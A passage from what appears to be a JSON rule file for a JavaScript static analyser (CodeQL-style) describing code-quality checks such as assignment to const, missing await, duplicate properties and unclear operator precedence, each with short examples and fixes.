variable `dist`. Most current platforms, however, will ignore the assignments entirely, so `loc` will retain its original value `null`.\n\n\n```javascript\nconst loc = null;\nif (dist < 10)\n    loc = \"here\";\nelse\n    loc = \"there\";\n```\nInstead, the assignments to `loc` can be merged into its declaration like this:\n\n\n```javascript\nconst loc = dist < 10 ? \"here\" : \"there\";\n```\n\n## References\n* Mozilla Developer Network: [const](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const).\n"},"properties":{"tags":["quality","reliability","correctness"],"description":"Assigning to a variable that is declared 'const' has either no effect or leads to a\n              runtime error, depending on the platform.","id":"js/assignment-to-constant","kind":"problem","name":"Assignment to constant","precision":"very-high","problem.severity":"error"}},{"id":"js/useless-assignment-to-local","name":"js/useless-assignment-to-local","shortDescription":{"text":"Useless assignment to local variable"},"fullDescription":{"text":"An assignment to a local variable that is not used later on, or whose value is always overwritten, has no effect."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Useless assignment to local variable\nA value is assigned to a variable or property, but either that location is never read later on, or its value is always overwritten before being read. This means that the original assignment has no effect, and could indicate a logic error or incomplete code.\n\n\n## Recommendation\nEnsure that you check the control and data flow in the method carefully. If a value is really not needed, consider omitting the assignment. Be careful, though: if the right-hand side has a side-effect (like performing a method call), it is important to keep this to preserve the overall behavior.\n\n\n## Example\nIn the following example, the return value of the call to `send` on line 2 is assigned to the local variable `result`, but then never used.\n\n\n```javascript\nfunction f(x) {\n\tvar result = send(x);\n\twaitForResponse();\n\treturn getResponse();\n}\n```\nAssuming that `send` returns a status code indicating whether the operation succeeded or not, the value of `result` should be checked, perhaps like this:\n\n\n```javascript\nfunction f(x) {\n\tvar result = send(x);\n\t// check for error\n\tif (result === -1)\n\t\tthrow new Error(\"send failed\");\n\twaitForResponse();\n\treturn getResponse();\n}\n```\n\n## References\n* Wikipedia: [Dead store](http://en.wikipedia.org/wiki/Dead_store).\n* Common Weakness Enumeration: [CWE-563](https://cwe.mitre.org/data/definitions/563.html).\n","markdown":"# Useless assignment to local variable\nA value is assigned to a variable or property, but either that location is never read later on, or its value is always overwritten before being read. This means that the original assignment has no effect, and could indicate a logic error or incomplete code.\n\n\n## Recommendation\nEnsure that you check the control and data flow in the method carefully. If a value is really not needed, consider omitting the assignment. Be careful, though: if the right-hand side has a side-effect (like performing a method call), it is important to keep this to preserve the overall behavior.\n\n\n## Example\nIn the following example, the return value of the call to `send` on line 2 is assigned to the local variable `result`, but then never used.\n\n\n```javascript\nfunction f(x) {\n\tvar result = send(x);\n\twaitForResponse();\n\treturn getResponse();\n}\n```\nAssuming that `send` returns a status code indicating whether the operation succeeded or not, the value of `result` should be checked, perhaps like this:\n\n\n```javascript\nfunction f(x) {\n\tvar result = send(x);\n\t// check for error\n\tif (result === -1)\n\t\tthrow new Error(\"send failed\");\n\twaitForResponse();\n\treturn getResponse();\n}\n```\n\n## References\n* Wikipedia: [Dead store](http://en.wikipedia.org/wiki/Dead_store).\n* Common Weakness Enumeration: [CWE-563](https://cwe.mitre.org/data/definitions/563.html).\n"},"properties":{"tags":["quality","maintainability","useless-code","external/cwe/cwe-563"],"description":"An assignment to a local variable that is not used later on, or whose value is always\n              overwritten, has no effect.","id":"js/useless-assignment-to-local","kind":"problem","name":"Useless assignment to local variable","precision":"very-high","problem.severity":"warning"}},{"id":"js/arguments-redefinition","name":"js/arguments-redefinition","shortDescription":{"text":"Arguments redefined"},"fullDescription":{"text":"The special 'arguments' variable can be redefined, but this should be avoided since it makes code hard to read and maintain and may prevent compiler optimizations."},"defaultConfiguration":{"enabled":true,"level":"note"},"help":{"text":"# Arguments redefined\nJavaScript functions can access their arguments by position (rather than by parameter name) through the special `arguments` object. However, if a function declares a parameter or local variable named `arguments`, or assigns a new value to `arguments`, then the `arguments` object is no longer available. This is confusing and makes code hard to understand, so it should be avoided.\n\nAlso note that many popular JavaScript engines (such as V8, which is used by Google Chrome and Node.js) do not support optimization of functions that assign to `arguments`, so such functions will run more slowly.\n\n\n## Recommendation\nRename the variable to something else.\n\n\n## Example\nIn the following example, the `arguments` parameter of function `f` shadows the special `arguments` variable. As a result, the `arguments` object cannot be accessed inside `f`. To the casual reader, the test `x === arguments[0]` may look redundant, since normally `arguments[0]` refers to the first argument (`x` in this case), which would make the test trivially true. This is not the case here, however, since `arguments[0]` refers to the first element of the array passed in as the second argument.\n\n\n```javascript\nfunction f(x, arguments) {\n\tif (x === arguments[0])\n\t\treturn 23;\n\treturn 42;\n}\n```\n\n## References\n* Mozilla Developer Network: [arguments](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/arguments).\n* Petka Antonov: [Optimization killers](https://github.com/petkaantonov/bluebird/wiki/Optimization-killers#3-managing-arguments).\n","markdown":"# Arguments redefined\nJavaScript functions can access their arguments by position (rather than by parameter name) through the special `arguments` object. However, if a function declares a parameter or local variable named `arguments`, or assigns a new value to `arguments`, then the `arguments` object is no longer available. This is confusing and makes code hard to understand, so it should be avoided.\n\nAlso note that many popular JavaScript engines (such as V8, which is used by Google Chrome and Node.js) do not support optimization of functions that assign to `arguments`, so such functions will run more slowly.\n\n\n## Recommendation\nRename the variable to something else.\n\n\n## Example\nIn the following example, the `arguments` parameter of function `f` shadows the special `arguments` variable. As a result, the `arguments` object cannot be accessed inside `f`. To the casual reader, the test `x === arguments[0]` may look redundant, since normally `arguments[0]` refers to the first argument (`x` in this case), which would make the test trivially true. This is not the case here, however, since `arguments[0]` refers to the first element of the array passed in as the second argument.\n\n\n```javascript\nfunction f(x, arguments) {\n\tif (x === arguments[0])\n\t\treturn 23;\n\treturn 42;\n}\n```\n\n## References\n* Mozilla Developer Network: [arguments](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions_and_function_scope/arguments).\n* Petka Antonov: [Optimization killers](https://github.com/petkaantonov/bluebird/wiki/Optimization-killers#3-managing-arguments).\n"},"properties":{"tags":["quality","reliability","performance"],"description":"The special 'arguments' variable can be redefined, but this should be avoided\n              since it makes code hard to read and maintain and may prevent compiler\n              optimizations.","id":"js/arguments-redefinition","kind":"problem","name":"Arguments redefined","precision":"very-high","problem.severity":"recommendation"}},{"id":"js/malformed-html-id","name":"js/malformed-html-id","shortDescription":{"text":"Malformed id attribute"},"fullDescription":{"text":"If the id of an HTML attribute is malformed, its interpretation may be browser-dependent."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Malformed id attribute\nAccording to the HTML5 standard, the value of the `id` attribute of an element must contain at least one character, and must not contain any space characters. ID attributes that do not conform to this restriction may be interpreted differently by different browsers, and may indicate a misunderstanding on the part of the developer.\n\n\n## Recommendation\nInspect the ID attribute in question. If its value is empty, the attribute is most likely useless and can be removed. If it contains a space, perhaps the attribute was meant to be a `class` attribute.\n\n\n## Example\nThe following HTML element has an ID attribute with a space in it:\n\n\n```html\n<div id=\"heading important\">An important heading</div>\n```\nMost likely this was meant to be a `class` attribute, like this:\n\n\n```html\n<div class=\"heading important\">An important heading</div>\n```\n\n## References\n* HTML5 Standard: [3.2.5.1 The id attribute](https://www.w3.org/TR/html5/dom.html#the-id-attribute).\n* Common Weakness Enumeration: [CWE-758](https://cwe.mitre.org/data/definitions/758.html).\n","markdown":"# Malformed id attribute\nAccording to the HTML5 standard, the value of the `id` attribute of an element must contain at least one character, and must not contain any space characters. ID attributes that do not conform to this restriction may be interpreted differently by different browsers, and may indicate a misunderstanding on the part of the developer.\n\n\n## Recommendation\nInspect the ID attribute in question. If its value is empty, the attribute is most likely useless and can be removed. If it contains a space, perhaps the attribute was meant to be a `class` attribute.\n\n\n## Example\nThe following HTML element has an ID attribute with a space in it:\n\n\n```html\n<div id=\"heading important\">An important heading</div>\n```\nMost likely this was meant to be a `class` attribute, like this:\n\n\n```html\n<div class=\"heading important\">An important heading</div>\n```\n\n## References\n* HTML5 Standard: [3.2.5.1 The id attribute](https://www.w3.org/TR/html5/dom.html#the-id-attribute).\n* Common Weakness Enumeration: [CWE-758](https://cwe.mitre.org/data/definitions/758.html).\n"},"properties":{"tags":["quality","reliability","correctness","external/cwe/cwe-758"],"description":"If the id of an HTML attribute is malformed, its\n              interpretation may be browser-dependent.","id":"js/malformed-html-id","kind":"problem","name":"Malformed id attribute","precision":"very-high","problem.severity":"warning"}},{"id":"js/duplicate-html-attribute","name":"js/duplicate-html-attribute","shortDescription":{"text":"Duplicate HTML element attributes"},"fullDescription":{"text":"Specifying the same attribute twice on the same HTML element is redundant and may indicate a copy-paste mistake."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Duplicate HTML element attributes\nAccording to the HTML5 standard, an HTML element must not have two or more attributes with the same name. If the attribute values are the same, this is most likely harmless, but it may indicate a copy-paste mistake.\n\n\n## Recommendation\nInspect the element in question and delete all but one of the redundant attributes.\n\n\n## Example\nThe following HTML snippet contains an anchor element with a redundant `href` attribute:\n\n\n```html\n<a href=\"https://semmle.com\" href=\"https://semmle.com\">Semmle</a>\n```\nThe redundancy can be resolved by deleting one of the attributes:\n\n\n```html\n<a href=\"https://semmle.com\">Semmle</a>\n```\n\n## References\n* HTML5 Standard: [8.1.2.3 Attributes](https://www.w3.org/TR/html5/syntax.html#attributes-0).\n","markdown":"# Duplicate HTML element attributes\nAccording to the HTML5 standard, an HTML element must not have two or more attributes with the same name. If the attribute values are the same, this is most likely harmless, but it may indicate a copy-paste mistake.\n\n\n## Recommendation\nInspect the element in question and delete all but one of the redundant attributes.\n\n\n## Example\nThe following HTML snippet contains an anchor element with a redundant `href` attribute:\n\n\n```html\n<a href=\"https://semmle.com\" href=\"https://semmle.com\">Semmle</a>\n```\nThe redundancy can be resolved by deleting one of the attributes:\n\n\n```html\n<a href=\"https://semmle.com\">Semmle</a>\n```\n\n## References\n* HTML5 Standard: [8.1.2.3 Attributes](https://www.w3.org/TR/html5/syntax.html#attributes-0).\n"},"properties":{"tags":["quality","maintainability","readability"],"description":"Specifying the same attribute twice on the same HTML element is\n              redundant and may indicate a copy-paste mistake.","id":"js/duplicate-html-attribute","kind":"problem","name":"Duplicate HTML element attributes","precision":"very-high","problem.severity":"warning"}},{"id":"js/eval-like-call","name":"js/eval-like-call","shortDescription":{"text":"Call to eval-like DOM function"},"fullDescription":{"text":"DOM functions that act like 'eval' and execute strings as code are dangerous and impede program analysis and understanding. Consequently, they should not be used."},"defaultConfiguration":{"enabled":true,"level":"note"},"help":{"text":"# Call to eval-like DOM function\nSeveral DOM functions allow evaluating strings as code without using `eval` explicitly. They should be avoided for the same reason as `eval` itself.\n\n\n## Recommendation\nWhen calling `setTimeout` or `setInterval`, do not pass it a string to evaluate but a function.\n\nInstead of using `document.write` to insert raw HTML into the DOM, use a framework such as [jQuery](http://jquery.com).\n\n\n## Example\nIn the following example, `setTimeout` is used to register a callback. The code to execute once the timeout expires is given as a string; this is bad practice.\n\n\n```javascript\nsetTimeout(\"notifyUser();\", 1000);\n```\nInstead, directly pass the function to be invoked to `setTimeout` like this:\n\n\n```javascript\nsetTimeout(notifyUser, 1000);\n```\n\n## References\n* D. Crockford, *JavaScript: The Good Parts*, Appendix B.3. O'Reilly, 2008.\n* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html).\n","markdown":"# Call to eval-like DOM function\nSeveral DOM functions allow evaluating strings as code without using `eval` explicitly. They should be avoided for the same reason as `eval` itself.\n\n\n## Recommendation\nWhen calling `setTimeout` or `setInterval`, do not pass it a string to evaluate but a function.\n\nInstead of using `document.write` to insert raw HTML into the DOM, use a framework such as [jQuery](http://jquery.com).\n\n\n## Example\nIn the following example, `setTimeout` is used to register a callback. The code to execute once the timeout expires is given as a string; this is bad practice.\n\n\n```javascript\nsetTimeout(\"notifyUser();\", 1000);\n```\nInstead, directly pass the function to be invoked to `setTimeout` like this:\n\n\n```javascript\nsetTimeout(notifyUser, 1000);\n```\n\n## References\n* D. Crockford, *JavaScript: The Good Parts*, Appendix B.3. O'Reilly, 2008.\n* Common Weakness Enumeration: [CWE-676](https://cwe.mitre.org/data/definitions/676.html).\n"},"properties":{"tags":["quality","maintainability","readability","external/cwe/cwe-676"],"description":"DOM functions that act like 'eval' and execute strings as code are dangerous and impede\n              program analysis and understanding. Consequently, they should not be used.","id":"js/eval-like-call","kind":"problem","name":"Call to eval-like DOM function","precision":"very-high","problem.severity":"recommendation"}},{"id":"js/unclear-operator-precedence","name":"js/unclear-operator-precedence","shortDescription":{"text":"Unclear precedence of nested operators"},"fullDescription":{"text":"Nested expressions involving binary bitwise operators and comparisons are easy to misunderstand without additional disambiguating parentheses or whitespace."},"defaultConfiguration":{"enabled":true,"level":"note"},"help":{"text":"# Unclear precedence of nested operators\nNested expressions that rely on less well-known operator precedence rules can be hard to read and understand. They could even indicate a bug where the author of the code misunderstood the precedence rules.\n\n\n## Recommendation\nUse parentheses or additional whitespace to clarify grouping.\n\n\n## Example\nConsider the following snippet of code:\n\n\n```javascript\nif (x & y == 0) {\n  // ...\n}\n```\nIt might look like this tests whether `x` and `y` have any bits in common, but in fact `==` binds more tightly than `&`, so the test is equivalent to `x & (y == 0)`.\n\nIf this is the intended interpretation, parentheses should be used to clarify this. You could also consider adding extra whitespace around `&` or removing whitespace around `==` to make it visually apparent that it binds less tightly: `x & y==0`.\n\nProbably the best approach in this case, though, would be to use the `&&` operator instead to clarify the intended interpretation: `x && y == 0`.\n\n\n## References\n* Mozilla Developer Network, [Operator precedence](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence).\n* Common Weakness Enumeration: [CWE-783](https://cwe.mitre.org/data/definitions/783.html).\n","markdown":"# Unclear precedence of nested operators\nNested expressions that rely on less well-known operator precedence rules can be hard to read and understand. They could even indicate a bug where the author of the code misunderstood the precedence rules.\n\n\n## Recommendation\nUse parentheses or additional whitespace to clarify grouping.\n\n\n## Example\nConsider the following snippet of code:\n\n\n```javascript\nif (x & y == 0) {\n  // ...\n}\n```\nIt might look like this tests whether `x` and `y` have any bits in common, but in fact `==` binds more tightly than `&`, so the test is equivalent to `x & (y == 0)`.\n\nIf this is the intended interpretation, parentheses should be used to clarify this. You could also consider adding extra whitespace around `&` or removing whitespace around `==` to make it visually apparent that it binds less tightly: `x & y==0`.\n\nProbably the best approach in this case, though, would be to use the `&&` operator instead to clarify the intended interpretation: `x && y == 0`.\n\n\n## References\n* Mozilla Developer Network, [Operator precedence](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence).\n* Common Weakness Enumeration: [CWE-783](https://cwe.mitre.org/data/definitions/783.html).\n"},"properties":{"tags":["quality","maintainability","readability","statistical","non-attributable","external/cwe/cwe-783"],"description":"Nested expressions involving binary bitwise operators and comparisons are easy\n              to misunderstand without additional disambiguating parentheses or whitespace.","id":"js/unclear-operator-precedence","kind":"problem","name":"Unclear precedence of nested operators","precision":"very-high","problem.severity":"recommendation"}},{"id":"js/property-access-on-non-object","name":"js/property-access-on-non-object","shortDescription":{"text":"Property access on null or undefined"},"fullDescription":{"text":"Trying to access a property of \"null\" or \"undefined\" will result in a runtime exception."},"defaultConfiguration":{"enabled":true,"level":"error"},"help":{"text":"# Property access on null or undefined\nAttempting to read or write a property of `null` or `undefined` will cause an exception at runtime.\n\n\n## Recommendation\nCarefully inspect the property access in question. If the problem was not detected during testing, this could either be because it is in dead code, or because it is not covered by a test. In the former case, delete the dead code in question. In the latter case, consider adding a new test.\n\n\n## Example\nIn the following example, function `f` declares a variable `result`, then invokes another function `computeInterestingResult` (not shown) and stores the result in `res`, and finally returns `result.value`. Since `result` has not been initialized, it will still have its default value `undefined`, causing a runtime exception.\n\n\n```javascript\nfunction f() {\n  var result;\n  res = computeInterestingResult();\n  return result.value;\n}\n```\nThe assignment to `res` is presumably a typo; instead, it should be assigned to `result`:\n\n\n```javascript\nfunction f() {\n  var result;\n  result = computeInterestingResult();\n  return result.value;\n}\n```\n\n## References\n* Mozilla Developer Network: [Objects and properties](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Objects_and_properties).\n* Common Weakness Enumeration: [CWE-476](https://cwe.mitre.org/data/definitions/476.html).\n","markdown":"# Property access on null or undefined\nAttempting to read or write a property of `null` or `undefined` will cause an exception at runtime.\n\n\n## Recommendation\nCarefully inspect the property access in question. If the problem was not detected during testing, this could either be because it is in dead code, or because it is not covered by a test. In the former case, delete the dead code in question. In the latter case, consider adding a new test.\n\n\n## Example\nIn the following example, function `f` declares a variable `result`, then invokes another function `computeInterestingResult` (not shown) and stores the result in `res`, and finally returns `result.value`. Since `result` has not been initialized, it will still have its default value `undefined`, causing a runtime exception.\n\n\n```javascript\nfunction f() {\n  var result;\n  res = computeInterestingResult();\n  return result.value;\n}\n```\nThe assignment to `res` is presumably a typo; instead, it should be assigned to `result`:\n\n\n```javascript\nfunction f() {\n  var result;\n  result = computeInterestingResult();\n  return result.value;\n}\n```\n\n## References\n* Mozilla Developer Network: [Objects and properties](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Working_with_Objects#Objects_and_properties).\n* Common Weakness Enumeration: [CWE-476](https://cwe.mitre.org/data/definitions/476.html).\n"},"properties":{"tags":["quality","reliability","correctness","external/cwe/cwe-476"],"description":"Trying to access a property of \"null\" or \"undefined\" will result\n              in a runtime exception.","id":"js/property-access-on-non-object","kind":"problem","name":"Property access on null or undefined","precision":"high","problem.severity":"error"}},{"id":"js/duplicate-property","name":"js/duplicate-property","shortDescription":{"text":"Duplicate property"},"fullDescription":{"text":"Listing the same property twice in one object literal is redundant and may indicate a copy-paste mistake."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Duplicate property\nIn ECMAScript 2015 and above, as well as ECMAScript 5 non-strict mode, an object literal may define the same property multiple times, with later definitions overwriting earlier ones. If all definitions assign the same value to the property, this will not to lead to problems at runtime, but it makes the code harder to read and maintain.\n\n\n## Recommendation\nEliminate the spurious redefinition.\n\n\n## Example\nIn the following example, the object literal passed to method `css` has two definitions of property `backgroundColor`, both setting it to value `\"orange\"`.\n\n\n```javascript\n$(\".alert\").css({\n  backgroundColor: \"orange\",\n  fontWeight: \"bold\",\n  backgroundColor: \"orange\"\n});\n```\nThe second definition is spurious and should be removed:\n\n\n```javascript\n$(\".alert\").css({\n  backgroundColor: \"orange\",\n  fontWeight: \"bold\"\n});\n```\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Annex C. ECMA, 2011.\n* Ecma International, *ECMAScript Language Definition*, 6th Edition, Annex E. ECMA, 2015.\n* Common Weakness Enumeration: [CWE-563](https://cwe.mitre.org/data/definitions/563.html).\n","markdown":"# Duplicate property\nIn ECMAScript 2015 and above, as well as ECMAScript 5 non-strict mode, an object literal may define the same property multiple times, with later definitions overwriting earlier ones. If all definitions assign the same value to the property, this will not to lead to problems at runtime, but it makes the code harder to read and maintain.\n\n\n## Recommendation\nEliminate the spurious redefinition.\n\n\n## Example\nIn the following example, the object literal passed to method `css` has two definitions of property `backgroundColor`, both setting it to value `\"orange\"`.\n\n\n```javascript\n$(\".alert\").css({\n  backgroundColor: \"orange\",\n  fontWeight: \"bold\",\n  backgroundColor: \"orange\"\n});\n```\nThe second definition is spurious and should be removed:\n\n\n```javascript\n$(\".alert\").css({\n  backgroundColor: \"orange\",\n  fontWeight: \"bold\"\n});\n```\n\n## References\n* Ecma International, *ECMAScript Language Definition*, 5.1 Edition, Annex C. ECMA, 2011.\n* Ecma International, *ECMAScript Language Definition*, 6th Edition, Annex E. ECMA, 2015.\n* Common Weakness Enumeration: [CWE-563](https://cwe.mitre.org/data/definitions/563.html).\n"},"properties":{"tags":["quality","maintainability","readability","external/cwe/cwe-563"],"description":"Listing the same property twice in one object literal is\n              redundant and may indicate a copy-paste mistake.","id":"js/duplicate-property","kind":"problem","name":"Duplicate property","precision":"very-high","problem.severity":"warning"}},{"id":"js/whitespace-contradicts-precedence","name":"js/whitespace-contradicts-precedence","shortDescription":{"text":"Whitespace contradicts operator precedence"},"fullDescription":{"text":"Nested expressions where the formatting contradicts the grouping enforced by operator precedence are difficult to read and may even indicate a bug."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Whitespace contradicts operator precedence\nNested expressions where the spacing around operators suggests a different grouping than that imposed by the JavaScript operator precedence rules are problematic: they could indicate a bug where the author of the code misunderstood the precedence rules. Even if there is no a bug, the spacing could be confusing to people who read the code.\n\n\n## Recommendation\nMake sure that the spacing around operators reflects operator precedence, or use parentheses to clarify grouping.\n\n\n## Example\nConsider the following piece of code for allocating an array:\n\n\n```javascript\nvar a = new Array(capacity + capacity>>1);\n```\nHere, the spacing around `+` and `>>` suggests the grouping `capacity + (capacity>>1)`, that is, the allocated array should be 50% larger than the given capacity.\n\nHowever, `+` has higher precedence than `>>`, so this code allocates an array of size `(capacity + capacity) >> 1`, which is the same as `capacity`.\n\nTo fix this issue, parentheses should be used like this:\n\n\n```javascript\nvar a = new Array(capacity + (capacity>>1));\n```\n\n## References\n* J. Bloch and N. Gafter, *Java Puzzlers: Traps, Pitfalls, and Corner Cases*, Puzzle 35. Addison-Wesley, 2005.\n* Common Weakness Enumeration: [CWE-783](https://cwe.mitre.org/data/definitions/783.html).\n","markdown":"# Whitespace contradicts operator precedence\nNested expressions where the spacing around operators suggests a different grouping than that imposed by the JavaScript operator precedence rules are problematic: they could indicate a bug where the author of the code misunderstood the precedence rules. Even if there is no a bug, the spacing could be confusing to people who read the code.\n\n\n## Recommendation\nMake sure that the spacing around operators reflects operator precedence, or use parentheses to clarify grouping.\n\n\n## Example\nConsider the following piece of code for allocating an array:\n\n\n```javascript\nvar a = new Array(capacity + capacity>>1);\n```\nHere, the spacing around `+` and `>>` suggests the grouping `capacity + (capacity>>1)`, that is, the allocated array should be 50% larger than the given capacity.\n\nHowever, `+` has higher precedence than `>>`, so this code allocates an array of size `(capacity + capacity) >> 1`, which is the same as `capacity`.\n\nTo fix this issue, parentheses should be used like this:\n\n\n```javascript\nvar a = new Array(capacity + (capacity>>1));\n```\n\n## References\n* J. Bloch and N. Gafter, *Java Puzzlers: Traps, Pitfalls, and Corner Cases*, Puzzle 35. Addison-Wesley, 2005.\n* Common Weakness Enumeration: [CWE-783](https://cwe.mitre.org/data/definitions/783.html).\n"},"properties":{"tags":["quality","reliability","correctness","statistical","non-attributable","external/cwe/cwe-783"],"description":"Nested expressions where the formatting contradicts the grouping enforced by operator precedence\n              are difficult to read and may even indicate a bug.","id":"js/whitespace-contradicts-precedence","kind":"problem","name":"Whitespace contradicts operator precedence","precision":"very-high","problem.severity":"warning"}},{"id":"js/string-instead-of-regex","name":"js/string-instead-of-regex","shortDescription":{"text":"String instead of regular expression"},"fullDescription":{"text":"Calling 'String.prototype.replace' or 'String.prototype.split' with a string argument that looks like a regular expression is probably a mistake because the called function will not convert the string into a regular expression."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# String instead of regular expression\nCalling the builtin methods `String.prototype.split` and `String.prototype.replace` with a string as the first argument makes the methods search for that exact string. Providing a regular expression instead of the string makes the methods perform a regular expression search.\n\nCalling the methods with a string that has the format of a regular expression is likely a mistake because the methods will not convert the string to a regular expression.\n\n\n## Recommendation\nCall `String.prototype.split` and `String.prototype.replace` with a regular expression as the first argument unless you want an exact search.\n\n\n## Example\nThe following code snippet shows a call to `String.prototype.replace`. The purpose of the call is to remove all characters that are not alphanumeric.\n\n```javascript\n\n\t\t\tvar cleaned = input.replace(\"[^a-zA-Z0-9]+\", \"\");\n\t\t\n```\nUnfortunately, the first argument is a string and not a regular expression, so the call will only remove the first substring that is exactly \"`[^a-zA-Z0-9]+`\".\n\nInstead, the first argument should be a regular expression with the `global` flag set:\n\n```javascript\n\n\t\t\tvar cleaned = input.replace(/[^a-zA-Z0-9]+/g, \"\");\n\t\t\n```\n\n## References\n* Mozilla Developer Network: [String.prototype.split](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split)\n* Mozilla Developer Network: [String.prototype.replace](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace)\n","markdown":"# String instead of regular expression\nCalling the builtin methods `String.prototype.split` and `String.prototype.replace` with a string as the first argument makes the methods search for that exact string. Providing a regular expression instead of the string makes the methods perform a regular expression search.\n\nCalling the methods with a string that has the format of a regular expression is likely a mistake because the methods will not convert the string to a regular expression.\n\n\n## Recommendation\nCall `String.prototype.split` and `String.prototype.replace` with a regular expression as the first argument unless you want an exact search.\n\n\n## Example\nThe following code snippet shows a call to `String.prototype.replace`. The purpose of the call is to remove all characters that are not alphanumeric.\n\n```javascript\n\n\t\t\tvar cleaned = input.replace(\"[^a-zA-Z0-9]+\", \"\");\n\t\t\n```\nUnfortunately, the first argument is a string and not a regular expression, so the call will only remove the first substring that is exactly \"`[^a-zA-Z0-9]+`\".\n\nInstead, the first argument should be a regular expression with the `global` flag set:\n\n```javascript\n\n\t\t\tvar cleaned = input.replace(/[^a-zA-Z0-9]+/g, \"\");\n\t\t\n```\n\n## References\n* Mozilla Developer Network: [String.prototype.split](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split)\n* Mozilla Developer Network: [String.prototype.replace](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace)\n"},"properties":{"tags":["quality","reliability","correctness"],"description":"Calling 'String.prototype.replace' or 'String.prototype.split' with a string argument that looks like a regular expression is probably a mistake because the called function will not convert the string into a regular expression.","id":"js/string-instead-of-regex","kind":"problem","name":"String instead of regular expression","precision":"high","problem.severity":"warning"}},{"id":"js/missing-await","name":"js/missing-await","shortDescription":{"text":"Missing await"},"fullDescription":{"text":"Using a promise without awaiting its result can lead to unexpected behavior."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Missing await\nIn JavaScript, `async` functions always return a promise object. To obtain the underlying value of the promise, use the `await` operator or call the `then` method. Attempting to use a promise object instead of its underlying value can lead to unexpected behavior.\n\n\n## Recommendation\nUse the `await` operator to get the value contained in the promise. Alternatively, call `then` on the promise and use the value passed to the callback.\n\n\n## Example\nIn the following example, the `getData` function returns a promise, and the caller checks if the returned promise is `null`:\n\n\n```javascript\nasync function getData(id) {\n  let req = await fetch(`https://example.com/data?id=${id}`);\n  if (!req.ok) return null;\n  return req.json();\n}\n\nasync function showData(id) {\n  let data = getData(id);\n  if (data == null) {\n    console.warn(\"No data for: \" + id);\n    return;\n  }\n  // ...\n}\n\n```\nHowever, the null check does not work as expected. The `return null` statement on line 2 actually returns a *promise* containing the `null` value. Since the promise object itself is not equal to `null`, the error check is bypassed.\n\nThe issue can be corrected by inserting `await` before the promise:\n\n\n```javascript\nasync function getData(id) {\n  let req = await fetch(`https://example.com/data?id=${id}`);\n  if (!req.ok) return null;\n  return req.json();\n}\n\nasync function showData(id) {\n  let data = await getData(id);\n  if (data == null) {\n    console.warn(\"No data for: \" + id);\n    return;\n  }\n  // ...\n}\n\n```\n\n## References\n* MDN: [Using promises](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Using_promises)\n* MDN: [Async functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function)\n* MDN: [Await operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/await)\n","markdown":"# Missing await\nIn JavaScript, `async` functions always return a promise object. To obtain the underlying value of the promise, use the `await` operator or call the `then` method. Attempting to use a promise object instead of its underlying value can lead to unexpected behavior.\n\n\n## Recommendation\nUse the `await` operator to get the value contained in the promise. Alternatively, call `then` on the promise and use the value passed to the callback.\n\n\n## Example\nIn the following example, the `getData` function returns a promise, and the caller checks if the returned promise is `null`:\n\n\n```javascript\nasync function getData(id) {\n  let req = await fetch(`https://example.com/data?id=${id}`);\n  if (!req.ok) return null;\n  return req.json();\n}\n\nasync function showData(id) {\n  let data = getData(id);\n  if (data == null) {\n    console.warn(\"No data for: \" + id);\n    return;\n  }\n  // ...\n}\n\n```\nHowever, the null check does not work as expected. The `return null` statement on line 2 actually returns a *promise* containing the `null` value. Since the promise object itself is not equal to `null`, the error check is bypassed.\n\nThe issue can be corrected by inserting `await` before the promise:\n\n\n```javascript\nasync function getData(id) {\n  let req = await fetch(`https://example.com/data?id=${id}`);\n  if (!req.ok) return null;\n  return req.json();\n}\n\nasync function showData(id) {\n  let data = await getData(id);\n  if (data == null) {\n    console.warn(\"No data for: \" + id);\n    return;\n  }\n  // ...\n}\n\n```\n\n## References\n* MDN: [Using promises](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Using_promises)\n* MDN: [Async functions](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function)\n* MDN: [Await operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/await)\n"},"properties":{"tags":["quality","reliability","correctness"],"description":"Using a promise without awaiting its result can lead to unexpected behavior.","id":"js/missing-await","kind":"problem","name":"Missing await","precision":"high","problem.severity":"warning"}},{"id":"js/missing-space-in-concatenation","name":"js/missing-space-in-concatenation","shortDescription":{"text":"Missing space in string concatenation"},"fullDescription":{"text":"Joining constant strings into a longer string where two words are concatenated without a separating space usually indicates a text error."},"defaultConfiguration":{"enabled":true,"level":"warning"},"help":{"text":"# Missing space in string concatenation\nSplitting a long string literal over multiple lines can often aid readability, but this also makes it difficult to notice whether a space is missing where the strings are concatenated.\n\n\n## Recommendation\nCheck the string literal to see whether it has the intended text. In particular, look for missing spaces near line breaks.\n\n\n## Example\nThe following example shows a text literal that is split over two lines and omits a space character between the two words at the line break.\n\n\n```javascript\nvar s = \"This text is\" +\n  \"missing a space.\";\n```\n\n## References\n* Mozilla Developer Network: [Strings: Long literal 